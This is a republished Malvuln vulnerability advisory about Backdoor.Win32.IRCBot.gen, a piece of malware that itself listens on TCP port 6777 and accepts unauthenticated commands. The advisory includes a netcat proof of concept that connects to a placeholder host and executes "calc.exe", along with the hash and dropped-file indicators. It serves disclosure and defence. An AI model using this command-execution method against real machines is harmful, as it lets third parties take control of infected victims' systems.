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Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070111

Below is a copy:

Backdoor.Win32.IRCBot.gen / Unauthenticated Remote Command Execution
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/96f5cdfa5b3416c819d76060f11dc88d.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.IRCBot.gen
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 6777. Third-party attackers who can reach infected systems can execute commands. Commands must be wrapped in quotes or it will fail.

E.g.

Execute calc.exe
execution failed
Execute "calc.exe"
file executed

Type: PE32
MD5: 96f5cdfa5b3416c819d76060f11dc88d
Vuln ID: MVID-2021-0300
Dropped files: WINEXP.EXE
Disclosure: 07/18/2021

Exploit/PoC:
nc64.exe x.x.x.x 6777
malvuln
psychward final, ready for action
Execute "calc.exe"
file executed


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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